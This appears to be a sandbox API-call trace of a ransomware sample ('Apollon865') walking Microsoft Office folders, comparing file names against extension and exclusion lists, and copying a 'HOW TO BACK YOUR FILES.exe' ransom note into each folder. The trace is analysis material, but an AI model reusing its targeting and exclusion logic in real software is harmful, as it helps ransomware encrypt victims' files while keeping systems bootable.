	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="cpd") returned -1
	[0072.503] lstrlenW (lpString="dacpac") returned 6
	[0072.503] lstrcmpiW (lpString1=".ACCDA", lpString2="dacpac") returned -1
	[0072.503] lstrlenW (lpString="dad") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="dad") returned -1
	[0072.504] lstrlenW (lpString="dadiagrams") returned 10
	[0072.504] lstrcmpiW (lpString1="LITY.ACCDA", lpString2="dadiagrams") returned 1
	[0072.504] lstrlenW (lpString="daschema") returned 8
	[0072.504] lstrcmpiW (lpString1="TY.ACCDA", lpString2="daschema") returned 1
	[0072.504] lstrlenW (lpString="db-journal") returned 10
	[0072.504] lstrcmpiW (lpString1="LITY.ACCDA", lpString2="db-journal") returned 1
	[0072.504] lstrlenW (lpString="db-shm") returned 6
	[0072.504] lstrcmpiW (lpString1=".ACCDA", lpString2="db-shm") returned -1
	[0072.504] lstrlenW (lpString="db-wal") returned 6
	[0072.504] lstrcmpiW (lpString1=".ACCDA", lpString2="db-wal") returned -1
	[0072.504] lstrlenW (lpString="dbc") returned 3
	[0072.504] lstrcmpiW (lpString1="CDA", lpString2="dbc") returned -1
	[0072.504] lstrlenW (lpString="dbs") returned 3
	[0072.504] lstrcmpiW (lpString1="CDA", lpString2="dbs") returned -1
	[0072.504] lstrlenW (lpString="dbt") returned 3
	[0072.504] lstrcmpiW (lpString1="CDA", lpString2="dbt") returned -1
	[0072.504] lstrlenW (lpString="dbv") returned 3
	[0072.504] lstrcmpiW (lpString1="CDA", lpString2="dbv") returned -1
	[0072.504] lstrlenW (lpString="dbx") returned 3
	[0072.504] lstrcmpiW (lpString1="CDA", lpString2="dbx") returned -1
	[0072.504] lstrlenW (lpString="dcb") returned 3
	[0072.504] lstrcmpiW (lpString1="CDA", lpString2="dcb") returned -1
	[0072.505] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb"
	[0072.505] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0072.505] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0072.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned 52
	[0072.505] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb"
	[0072.505] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.505] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.511] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x43498990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43498990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.511] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.511] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.512] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.512] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x43498990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43498990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.512] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.512] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.512] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.512] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.512] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a45600, ftCreationTime.dwHighDateTime=0x1c90da0, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a45600, ftLastWriteTime.dwHighDateTime=0x1c90da0, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2=".") returned 1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="..") returned 1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="windows") returned -1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="bootmgr") returned 1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="temp") returned -1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="pagefile.sys") returned -1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="boot") returned 1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="ids.txt") returned -1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="ntuser.dat") returned -1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="perflogs") returned -1
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="MSBuild") returned -1
	[0072.512] lstrlenW (lpString="CLNTWRAP.HTM") returned 12
	[0072.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*") returned 54
	[0072.512] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="CLNTWRAP.HTM" | out: lpString1="CLNTWRAP.HTM") returned="CLNTWRAP.HTM"
	[0072.512] lstrlenW (lpString="CLNTWRAP.HTM") returned 12
	[0072.512] lstrlenW (lpString="Apollon865") returned 10
	[0072.512] lstrcmpiW (lpString1="NTWRAP.HTM", lpString2="Apollon865") returned 1
	[0072.512] lstrlenW (lpString=".dll") returned 4
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2=".dll") returned 1
	[0072.512] lstrlenW (lpString=".lnk") returned 4
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2=".lnk") returned 1
	[0072.512] lstrlenW (lpString=".ini") returned 4
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2=".ini") returned 1
	[0072.512] lstrlenW (lpString=".sys") returned 4
	[0072.512] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2=".sys") returned 1
	[0072.512] lstrlenW (lpString="CLNTWRAP.HTM") returned 12
	[0072.513] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="RPT2HTM4.XSL" | out: lpString1="RPT2HTM4.XSL") returned="RPT2HTM4.XSL"
	[0072.513] lstrlenW (lpString="RPT2HTM4.XSL") returned 12
	[0072.513] lstrlenW (lpString="Apollon865") returned 10
	[0072.513] lstrcmpiW (lpString1="T2HTM4.XSL", lpString2="Apollon865") returned 1
	[0072.513] lstrlenW (lpString=".dll") returned 4
	[0072.513] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2=".dll") returned 1
	[0072.513] lstrlenW (lpString=".lnk") returned 4
	[0072.513] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2=".lnk") returned 1
	[0072.513] lstrlenW (lpString=".ini") returned 4
	[0072.513] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2=".ini") returned 1
	[0072.513] lstrlenW (lpString=".sys") returned 4
	[0072.513] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2=".sys") returned 1
	[0072.513] lstrlenW (lpString="RPT2HTM4.XSL") returned 12
	[0072.513] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="SERVWRAP.ASP" | out: lpString1="SERVWRAP.ASP") returned="SERVWRAP.ASP"
	[0072.513] lstrlenW (lpString="SERVWRAP.ASP") returned 12
	[0072.513] lstrlenW (lpString="Apollon865") returned 10
	[0072.513] lstrcmpiW (lpString1="RVWRAP.ASP", lpString2="Apollon865") returned 1
	[0072.513] lstrlenW (lpString=".dll") returned 4
	[0072.513] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2=".dll") returned 1
	[0072.513] lstrlenW (lpString=".lnk") returned 4
	[0072.513] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2=".lnk") returned 1
	[0072.513] lstrlenW (lpString=".ini") returned 4
	[0072.513] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2=".ini") returned 1
	[0072.513] lstrlenW (lpString=".sys") returned 4
	[0072.513] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2=".sys") returned 1
	[0072.513] lstrlenW (lpString="SERVWRAP.ASP") returned 12
	[0072.514] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\3082", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082"
	[0072.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5798 | out: hHeap=0x580000) returned 1
	[0072.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0072.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned 47
	[0072.514] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\3082" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082"
	[0072.514] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.514] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.519] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x434beaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x434beaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.519] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.519] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.519] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.519] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x434beaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x434beaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.519] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.519] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.519] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.519] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.519] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x434beaf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x434beaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0072.519] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0072.519] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1
	[0072.519] lstrcmpiW (lpString1="MSO.ACL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.519] lstrcmpiW (lpString1="MSO.ACL", lpString2="Apollon865.txt.exe") returned 1
	[0072.519] lstrcmpiW (lpString1="MSO.ACL", lpString2=".") returned 1
	[0072.519] lstrcmpiW (lpString1="MSO.ACL", lpString2="..") returned 1
	[0072.519] lstrcmpiW (lpString1="MSO.ACL", lpString2="windows") returned -1
	[0072.519] lstrcmpiW (lpString1="MSO.ACL", lpString2="bootmgr") returned 1
	[0072.519] lstrcmpiW (lpString1="MSO.ACL", lpString2="temp") returned -1
	[0072.520] lstrcmpiW (lpString1="MSO.ACL", lpString2="pagefile.sys") returned -1
	[0072.520] lstrcmpiW (lpString1="MSO.ACL", lpString2="boot") returned 1
	[0072.520] lstrcmpiW (lpString1="MSO.ACL", lpString2="ids.txt") returned 1
	[0072.520] lstrcmpiW (lpString1="MSO.ACL", lpString2="ntuser.dat") returned -1
	[0072.520] lstrcmpiW (lpString1="MSO.ACL", lpString2="perflogs") returned -1
	[0072.520] lstrcmpiW (lpString1="MSO.ACL", lpString2="MSBuild") returned 1
	[0072.520] lstrlenW (lpString="MSO.ACL") returned 7
	[0072.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*") returned 49
	[0072.520] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSO.ACL" | out: lpString1="MSO.ACL") returned="MSO.ACL"
	[0072.520] lstrlenW (lpString="MSO.ACL") returned 7
	[0072.520] lstrlenW (lpString="Apollon865") returned 10
	[0072.520] lstrlenW (lpString=".dll") returned 4
	[0072.520] lstrcmpiW (lpString1="MSO.ACL", lpString2=".dll") returned 1
	[0072.520] lstrlenW (lpString=".lnk") returned 4
	[0072.521] lstrcmpiW (lpString1="MSO.ACL", lpString2=".lnk") returned 1
	[0072.521] lstrlenW (lpString=".ini") returned 4
	[0072.521] lstrcmpiW (lpString1="MSO.ACL", lpString2=".ini") returned 1
	[0072.521] lstrlenW (lpString=".sys") returned 4
	[0072.521] lstrcmpiW (lpString1="MSO.ACL", lpString2=".sys") returned 1
	[0072.521] lstrlenW (lpString="MSO.ACL") returned 7
	[0072.521] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1036", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036"
	[0072.521] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5730 | out: hHeap=0x580000) returned 1
	[0072.521] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0072.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned 47
	[0072.521] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1036" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036"
	[0072.521] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.522] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.527] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x434beaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x434beaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.527] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.527] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.527] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.527] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x434beaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x434beaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.527] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.527] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.527] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.527] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.527] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x434beaf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x434beaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0072.528] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0072.528] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="Apollon865.txt.exe") returned 1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2=".") returned 1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="..") returned 1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="windows") returned -1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="bootmgr") returned 1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="temp") returned -1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="pagefile.sys") returned -1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="boot") returned 1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="ids.txt") returned 1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="ntuser.dat") returned -1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="perflogs") returned -1
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2="MSBuild") returned 1
	[0072.528] lstrlenW (lpString="MSO.ACL") returned 7
	[0072.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*") returned 49
	[0072.528] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSO.ACL" | out: lpString1="MSO.ACL") returned="MSO.ACL"
	[0072.528] lstrlenW (lpString="MSO.ACL") returned 7
	[0072.528] lstrlenW (lpString="Apollon865") returned 10
	[0072.528] lstrlenW (lpString=".dll") returned 4
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2=".dll") returned 1
	[0072.528] lstrlenW (lpString=".lnk") returned 4
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2=".lnk") returned 1
	[0072.528] lstrlenW (lpString=".ini") returned 4
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2=".ini") returned 1
	[0072.528] lstrlenW (lpString=".sys") returned 4
	[0072.528] lstrcmpiW (lpString1="MSO.ACL", lpString2=".sys") returned 1
	[0072.528] lstrlenW (lpString="MSO.ACL") returned 7
	[0072.528] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033"
	[0072.528] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0072.529] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0072.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned 47
	[0072.529] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033"
	[0072.529] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.529] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.532] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x434e4c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x434e4c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.533] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.533] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.533] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.533] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x434e4c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x434e4c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.534] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.534] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.534] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.534] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.534] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="Apollon865.txt.exe") returned -1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2=".") returned 1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="..") returned 1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="windows") returned -1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="bootmgr") returned -1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="temp") returned -1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="pagefile.sys") returned -1
